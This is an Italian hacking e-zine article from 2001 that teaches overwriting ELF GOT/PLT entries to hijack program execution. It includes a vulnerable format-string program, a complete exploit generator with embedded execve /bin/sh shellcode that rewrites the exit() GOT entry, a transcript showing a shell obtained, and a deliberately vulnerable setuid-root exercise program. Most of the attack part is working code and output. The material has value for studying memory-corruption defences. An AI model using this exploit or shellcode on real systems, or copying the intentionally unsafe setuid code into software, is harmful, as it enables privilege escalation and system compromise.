============================================================================== -----------[ BFi numero 10, anno 4 - 30/09/2001 - file 7 di 18 ]-------------- ============================================================================== -[ HACKiNG ]------------------------------------------------------------------ ---[ N0N E` TUTT0 HEAP QUELL0 CHE N0N E` STACK -----[ Nail - Prima di tutto, i ringraziamenti: gli abitanti di #k*, di #k* e di #social(specialmente zenparse e hcl) il team di salumeria di #sikurezza@undernet. tutti i mistici e la redazione di BFi. stakka&skynet perche' le loro tracce fanno paura ;) gli ozric tentacles perche' sono rilassantissimi. .. direi che bastano perche' ho citato mezzo mondo in 3 righe :P Prerequisiti: - Perfetta conoscenza del C :) - Concetto di stack, di heap e di bss - Stack e format based overflows - Un'infarinatura di gdb - Voglia di imparare. -1. Di cosa stiamo parlando All'inizio era lo stack. Lo stack overflow intendo :) Dopo venne l'heap (ed il bss), cioe' tutta quella parte di memoria sempre valida che non era stack. Poi vennero le format string, ma stiamo parlando di tecniche completamente diverse. Per cui, a rigor di logica, cio' che non e' stack, e' heap. E questo limiterebbe appunto i buffer overrun a stack ed heap. Ma ne siamo proprio sicuri? Proviamo a far partire un qualsiasi programma e a curiosare la sua entry nel proc filesystem. [/proc/342] $ ls cmdline cpu cwd@ environ exe@ fd/ maps| mem root@ stat statm status maps, un file dimenticato da molti, ma utilissimo. Esso infatti contiene le varie porzioni di memoria associate fin dal run a quel processo e che proprieta' esse abbiano (r/w/x): 08048000-08049000 r-xp 00000000 03:06 148024 /home/nail/timer 08049000-0804a000 rw-p 00000000 03:06 148024 /home/nail/timer 40000000-40013000 r-xp 00000000 03:05 5982 /lib/ld-2.1.3.so 40013000-40014000 rw-p 00012000 03:05 5982 /lib/ld-2.1.3.so 40014000-40015000 rw-p 00000000 00:00 0 4001c000-400fe000 r-xp 00000000 03:05 5993 /lib/libc-2.1.3.so 400fe000-40102000 rw-p 000e1000 03:05 5993 /lib/libc-2.1.3.so 40102000-40107000 rw-p 00000000 00:00 0 bfffe000-c0000000 rwxp fffff000 00:00 0 Bene, forse non e' tutto heap quello che non e' stack :) E ovviamente, e' tutta da esplorare (where no man has gone before... hem, qualcuno c'e' gia' andato mi sa... si'... ho trovato un preservativo usato per terra :P) 0. Struttura di un ELF. Quella porzione di memoria di cui parlavamo e' destinata a contenere alcune tabelle proprietarie del formato ELF per la rilocazione. Ovviamente questa frase puo' sembrare roba che si mangia senza un'opportuna spiegazione, per cui.. :) Ogni programma compilato come ELF contiene soltanto il codice delle funzioni scritte da noi (es. il main) mentre tutte le funzioni di libreria (printf, strcpy,...) rimangono in una shared library esterna (le libc) e vengono poi caricate in memoria soltanto quando servono. Questo quindi non ci permette di sapere la posizione assoluta del reale codice di una chiamata in una library esterna. La soluzione e' quindi caricare la parte di libreria esterna solo quando strettamente necessario e ricavare dall'header della libreria il puntatore al codice necessario. Il nostro codice ovviamente da qualche parte deve jumpare per chiamarle... Allora ecco che sono nate la GOT e la PLT. GOT = Global Offset Table PLT = Procedure Linkage Table Queste due tabelle fanno parte della cosiddette 'dynamic relocation entries' del nostro eseguibile. Sintetizzando dalla bibba degli ELF (127 kb di pdf, li mortacci...): La GOT e' una tabella che puo' essere visualizzata con un bel objdump -R sull'eseguibile e contiene una specie di mappa che collega simboli ad indirizzi e a come accedere a quell'indirizzo. Esempio: ./timer: file format elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE [...] 0804976c R_386_JUMP_SLOT sleep 08049770 R_386_JUMP_SLOT __libc_start_main 08049774 R_386_JUMP_SLOT printf 08049778 R_386_JUMP_SLOT sscanf [...] Il tipo di rilocazione dipende anche da cosa stiamo rilocando, principalmente per le funzioni di libreria si usa soltanto l'R_386_JUMP_SLOT. Prendendo l'esempio: la funzione sscanf ha un'entry nella GOT all'indirizzo 0x08049778. Quando un programma effettua una chiamata alla scanf(), in realta' passa all'indirizzo associato nella jump table (il famoso offset). Questo permette di creare un 'wrapper' per le funzioni. Praticamente: io non chiamo la printf vera e propria, chiamo un indirizzo contenuto nella GOT. Questa funzione (chiamiamola wrapper) prima di tutto carichera' in memoria la parte di libc contenente il codice della printf e poi lo richiamera'. Tutta la serie di procedure di wrapping e la procedura principale per caricare una determinata funzione e' contenuta nella PLT. Questo esempio penso vi chiarara' un pochino le idee (faccio riferimento alla objdumpata di prima): $ gdb ./timer (gdb) x 0x08049778 0x8049778 <_GLOBAL_OFFSET_TABLE_+40>: 0x0804840a /* questo vuol dire che la parte di PLT per il load della sscanf e' all'indirizzo 0x0804840a */ (gdb) disass 0x0804840a Dump of assembler code for function sscanf: 0x8048404 : jmp *0x8049778 0x804840a : push $0x38 0x804840f : jmp 0x8048384 <_init+48> /* presumibilimente, con push $0x38 si indica alla procedura di load della libreria l'indice della funzione desiderata o un suo offset, purtroppo non ho ancora trovato un modo per checkare la veridicita' di questa cosa. All'indirizzo 0x8048384 dovrebbe essere contenuta la procedura di load */ (gdb) disass 0x8048384 Dump of assembler code for function _init: [...] 0x8048382 <_init+46>: ret 0x8048383: Cannot access memory at address 0x8048383 /* per accedere a quella parte di memoria ci vuole un piccolo trucco :P */ (gdb) disass 0x8048384 0x80483aa Dump of assembler code from 0x8048384 to 0x80483aa: 0x8048384 <_init+48>: pushl 0x8049754 0x804838a <_init+54>: jmp *0x8049758 /* Ok, chiamiamo di nuovo qualcosa all'interno della GOT passandogli l'indirizzo della funzione che dovremo poi richiamare ... */ Mi fermo qua poiche' il gdb non e' in grado di caricare le shared library a runtime :( Ok, spero di essere stato chiaro quindi. 1. Vantaggi e svantaggi di queste aree di memoria La GOT e PLT hanno praticamente solo vantaggi :) a) Sono allocate in una zona di memoria mappata sempre sia come writable che come executable. b) Hanno indirizzi _FISSI_ ottenibili senza nemmeno dover runnare il programma (objdump -R). Questi sono i vantaggi 'neutri'. Vediamo quelli *cattivi* :) a) Essendo sempre writable e executable in caso di patch come quelle di Solar Designer per lo stack non eseguibile possiamo tranquillamente deviare l'esecuzione del processo. Inoltre, abbiamo anche un posto dove scrivere lo shellcode ;) (in realta' basterebbero 4 stupidi byte) b) Non overwritando il RET della funzione non necessita che tutta la funzione venga eseguita prima di saltare allo shellcode. Quindi, se ci sono controlli tipo canaries, possiamo tranquillamente evitarli, poiche' l'esecuzione deviera' prima. c) L'uso della GOT/PLT puo' essere combinato perfettamente sia con altre tecniche di overflow. d) Il guess degli indirizzi praticamente sparisce, poiche' gli indirizzi sono fissi. e) NON VI BASTA ANCORA? :)) 2. Esempi pratici Ok, ora che ci siamo fatti un po' di teoria mettiamo mano al nostro compilatore e al nostro vim (VERO CHE USATE VIM?). Cominciamo a fare delle prove un po' forzate... nel senso di provare a sostituire manualmente un qualche indirizzo di funzione. Se avete mai visto gli heap-based buffer overflow il funzionamento e' molto, molto simile al sovrascrivere un puntatore a funzione, solo che sovrascrivi l'indirizzo della funzione stessa :) Il fattore di difficolta' e' soltanto uno... Riassumendo un attimo lo stato della memoria: indirizzo piu' basso: -------------------- 0xbe000000 circa | | | STACK | | | -------------------- 0xc0000000 circa | ................ | | ................ | | ................ | -------------------- 0x08040000 circa | | | TEXT AREA | | | -------------------- 0x08048000 circa | | | GOT/PLT/... | | | -------------------- 0x80490000 circa | | | BSS/HEAP | | | -------------------- ... Come vedete, dall'heap e' impossibile raggiugnere la GOT poiche' e' prima... mentre dallo stack siamo troppo lontani. Il risultato e': come ci arrivo? Bhe... questo lo vedremo nel prossimo paragrafo... modi ce ne sono e l'inventiva umana supera qualsiasi distanza *g* Per ora evitiamo questo problema e proviamo: <-| gotplt/boh.c |-> #include #include food() { printf("ciambelleeee..\n"); } main() { long int *got = 0x11223344; /* per ora lo lasciamo vuoto... */ *got = (long int)food; exit(0); } <-X-> Compiliamo con -ggdb e objdumpiamo... Il nostro scopo ovviamente e' sovrascrivere l'indirizzo della exit nella GOT. $ objdump -R ./boh [...] 08049550 R_386_JUMP_SLOT exit [...] Adesso andiamo a modificare quella variabile: long int *got = 0x08049550; E lanciamo il nostro programma con il gdb... (gdb) break main Breakpoint 1 at 0x8048442: file boh.c, line 13. (gdb) run Starting program: /home/nail/./boh warning: Unable to find dynamic linker breakpoint function. GDB will be unable to debug shared library initializers and track explicitly loaded dynamic code. Breakpoint 1, main () at boh.c:13 13 *got = (long int)food; (gdb) x 0x8049550 0x8049550 <_GLOBAL_OFFSET_TABLE_+28>: 0x08048342 (gdb) disass exit Dump of assembler code for function exit: 0x4003c79c : push %ebp 0x4003c79d : mov %esp,%ebp [...] Come vedete, prima di fare quell'assegnamento, il gdb trasparente chiama la funzione nella PLT e poi disassembla il codice della REALE exit. Ora sostiuiamo l'indirizzo nella GOT. (gdb) n 14 exit(0); (gdb) disass exit Dump of assembler code for function exit: 0x4003c79c : push %ebp 0x4003c79d : mov %esp,%ebp [...] Gia' il gdb e' talmente stupido che non si accorge nemmeno che la GOT e' cambiata... cmq... Se andiamo a vedere nella GOT... (gdb) x 0x8049550 0x8049550 <_GLOBAL_OFFSET_TABLE_+28>: 0x08048420 Bhe direi che ha funzionato :) Proviamo a lanciarlo e basta: $ ./boh ciambelleeee.. Bello, non un crash, tutto liscio, addirittura l'esecuzione del programma avrebbe continuato. Cos'e' successo? Al chiamare della exit(), il programma cerca l'entry per la rilocazione nella GOT, trova la locazione 0x08049560 che corrisponde alla funzione cercata, dopodiche' salta all'indirizzo contenuto in quella locazione. Qui arriva la nostra modifica, che fa saltare il programma ignaro di tutto alla nostra succulenta food(), invece che all'entry nella PLT che gestisce la exit(). 3. Come sfruttarli (semplice ormai) Per chi ha un pochino di familiarita' con gli overflow e' molto semplice sfruttare la GOT per deviare l'esecuzione del programma. Mettiamo il caso che vogliamo deviare la printf, prendiamo la locazione nella GOT dove c'e' l'indirizzo della printf e lo overwritiamo con l'indirizzo dello shellcode. Solitamente l'unico problema sta nell'indirizzare il programma a scrivere li', poiche' si tratta di una zona di memoria precedente l'heap (quindi non si puo' raggiungere dall'heap). Un modo puo' essere utilizzare i format bug, un altro la tecnica del doppio overflow (stack + heap). 4a. Format GOT bugs <-| gotplt/fmt.c |-> #include #include void work(char *s) { printf(s); exit(0); } int main() { char buf[2048]; printf("buf is located @ %p\n", buf); fgets(buf,sizeof(buf), stdin); buf[strlen(buf)-1] = 0; /* strip \n */ work(buf); } <-X-> Come vedete un semplice format buffer overflow non funzionerebbe. Fatta la printf, si modificherebbe il ret della work() che pero' non verrebbe mai raggiunto poiche' la exit() terminerebbe forzatamente il programma. L'unico modo e' sostiuire la exit con il nostro shellcode *g*. Per di piu' abbiamo solo l'imbarazzo della scelta: possiamo usare sia la GOT stessa per infilare lo shellcode, oppure infilarlo in 'buf'. Gia' che abbiamo anche l'indirizzo, possiamo metterlo in buf (hey, e' una cosa educativa, chissenefotte se ci stampa l'address :D). Il nostro buffer deve quindi contenere lo shellcode (magari anche qualche nop ;P) e andare a scrivere nella GOT l'indirizzo dello stesso. Innanzitutto prendiamoci l'indirizzo della exit: $ objdump -R ./fmt DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 080495c4 R_386_GLOB_DAT __gmon_start__ 08049668 R_386_COPY stdin 080495ac R_386_JUMP_SLOT __register_frame_info 080495b0 R_386_JUMP_SLOT __deregister_frame_info 080495b4 R_386_JUMP_SLOT fgets 080495b8 R_386_JUMP_SLOT __libc_start_main 080495bc R_386_JUMP_SLOT printf 080495c0 R_386_JUMP_SLOT exit Ci sono moltissimi modi per fare la format string. Ho scelto quello piu' classico e diffuso: scrivere i bytes in modo incrementale: <\xeb\x08>%$n <\xeb\x08>%$n<\xeb\x08> %$n<\xeb\x08>%$n ADDR e' l'indirizzo a cui dobbiamo andare a scrivere (0x08049590). Per chi non lo sapesse, \xeb\x08 e' un jump relativo 8 byte piu' avanti. Questo permette di andare a prendere in uno qualsiasi dei nop e saltare i %n (a meno che non si sia sfigati assai e si cada direttamente sul %n :)). Utilizzando %num$x si prende il num-esimo elemento nello stack. (Rimando ai paper di scut, lamagra e pb per ulteriori informazioni). $ ./fmt buf is located @ 0xbffff1d8 Per cui diciamo che possiamo scrivere 0xbffff1e2 tranquillamente. Ora cerchiamo la format string all'interno dello stack: $ ./fmt buf is located @ 0xbffff1d8 AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p AAAA0x400137500xbffff9d80x80484c20xbffff7d80x2000xbffff9d80x80484ce0xbffff7d80x bffff7d80x400131540x400002300x401009b40xbffffa140x2(nil)0x400013100x2c80x414141 41 Per cui distanza = 18. (infatti: buf is located @ 0xbffff1d8 AAAA%18$p AAAA0x41414141) A questo punto abbiamo tutti i dati per costruire il nostro exploit. <-| gotplt/got.c |-> #include #include #include char linuxsc[] = /* just aleph1's old shellcode (linux x86) */ "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0" "\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8" "\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"; int num(int n) { if(n < 10) return 1; if(n < 100) return 2; if(n < 1000) return 3; } int main(int argc, char **argv) { char a[256],b[256],c[256],d[400], buf[1024]; long int what, where; int what0, what1, what2, what3, dist; bzero(a, sizeof(a)); bzero(b, sizeof(b)); bzero(c, sizeof(c)); bzero(d, sizeof(d)); bzero(buf, sizeof(buf)); if(argc != 4) { printf("Usage: %s \n",argv[0]); exit(0); } /* recuperiamo i nostri indirizzi */ /* what e' cosa va scritto, where dove :) */ sscanf(argv[1], "%lx", &what); sscanf(argv[2], "%lx", &where); dist = atoi(argv[3]); /* dividiamo l'indirizzo */ what0 = (what & 0xff); what1 = (what >> 8) & 0xff; what2 = (what >> 16) & 0xff; what3 = (what >> 24) & 0xff; /* riempiamo un buffer per ogni byte da scrivere */ memset(a, '\x90',what0 - 2 - 16); sprintf(a+strlen(a), "\xeb\x08%%%d$n", dist); memset(b, '\x90',what1 - what0 - 2); sprintf(b+strlen(b), "\xeb\x08%%%d$n", dist+1); memset(c, '\x90',what2 - what1 - 2); sprintf(c+strlen(c), "\xeb\x08%%%d$n", dist+2); memset(d, '\x90',0x100 + what3 - what2 - 2); sprintf(d+strlen(d), "\xeb%c%%%d$n", num(dist)+3, dist+3); /* questo e' difficile :) il salto dev'essere preciso in modo da beccare in pieno lo shellcode. si poteva anche semplicemente mettere ancora qualche NOP ma odio le cose semplici :P */ /* inseriamo i 4 indirizzi */ *(long int *)buf = where; *(long int *)(buf+4) = where+1; *(long int *)(buf+8) = where+2; *(long int *)(buf+12)= where+3; /* tutto il resto e lo shellcode */ sprintf(buf+16, "%s%s%s%s%s", a,b,c,d,linuxsc); /* printiamo */ printf("%s\n", buf); return 0; } <-X-> $ (./got 0xbffff223 0x080495c0 18 ; cat - ) | ./fmt buf is located @ 0xbffff1d8 id uid=1000(nail) gid=100(users) groups=100(users),3(sys) whoooo ooooooooooooooooo :) Risultato: la exit() e' diventata il nostro shellcode :D 4b. Doppio overflow (stack+got) Questo e' un metodo un po' particolare... anzi penso che piu' che un metodo sia un trucchetto molto carino. Infatti per essere attuato richiede ben precise condizioni. In poche parole, si tratta di overwritare un puntatore nello stack in modo che una successiva lettura porti a scrivere nella GOT. Esempio: char *msg; char buf[256]; [...] msg = malloc(2048); strcpy(buf, argv[1]); fgets(msg, 2048, stdin); Con la strcpy possiamo sovrascrivere l'indirizzo di msg con quello che ci serve (l'indirizzo a cui dovremmo scrivere all'interno della GOT). Con la fgets poi inseriremo nella GOT tutto quello che ci serve. Ovviamente perche' tutto cio' accada bisogna che: a) il puntatore sia raggiungibile nello stack dal primo buffer; b) il puntatore non venga modificato tra lo stack overflow e la scrittura all'interno della GOT (se la malloc fosse stata dopo la strcpy sarebbe stato impossibile); c) il puntatore sia ovviamente a nostra disposizione per inserire dati. Di questo metodo non faro' un esempio, lo lascio fare a voi *g*. Qui sotto potete trovare un programma abbastanza semplice su cui fare esercizio. E ricordate, 'exploiting is an art'. Ci sono milioni di modi di arrivare allo stesso risultato, sta a voi scegliere e, ovviamente, riuscirci :) Salud :) Nail <-| gotplt/proggie.c |-> /* ovviamente: # gcc -o proggie proggie.c -lcrypt # chown root ./proggie # chmod 4755 ./proggie # su - user $ vi exploit.c */ #include #include #include #include #include #include char * scheck(char *u) { struct spwd *s; s = getspnam(u); if(!s) return NULL; return s->sp_pwdp; } int check(char *u, char *pwd) { struct passwd *p; char *cpwd; p = getpwnam(u); if(!p) return 0; if(strlen(p->pw_passwd)==1) p->pw_passwd = scheck(u); if(!p->pw_passwd) return 0; cpwd = (char *)crypt(pwd, p->pw_passwd); if(strcmp(cpwd, p->pw_passwd)) return 0; p = getpwnam("nobody"); return p->pw_uid; } main() { long int count = 0; int id; char *passwd = NULL; char prompt[200]; char user[256]; printf("Insert your password length: "); fflush(stdout); fgets(user, sizeof(user), stdin); user[strlen(user)-1] = 0; count = atoi(user)+2; /* to get \n and \0 */ passwd = (char *)malloc(count+1); printf("Insert your username: "); fflush(stdout); fgets(user, sizeof(user), stdin); user[strlen(user)-1] = 0; sprintf(prompt, "Insert password for localhost:%s", user); printf("%s: ", prompt); if(count > 16) { printf("Your password is too long.\n"); exit(0); } fgets(passwd, count, stdin); passwd[strlen(passwd)-1] = 0; if((id = check(user, passwd))) { printf("You are logged in!!!\n"); setuid(id); system("/bin/sh -i"); exit(0); } else printf("Error.\n"); } <-X-> ============================================================================== --------------------------------[ EOF 7/18 ]--------------------------------- ==============================================================================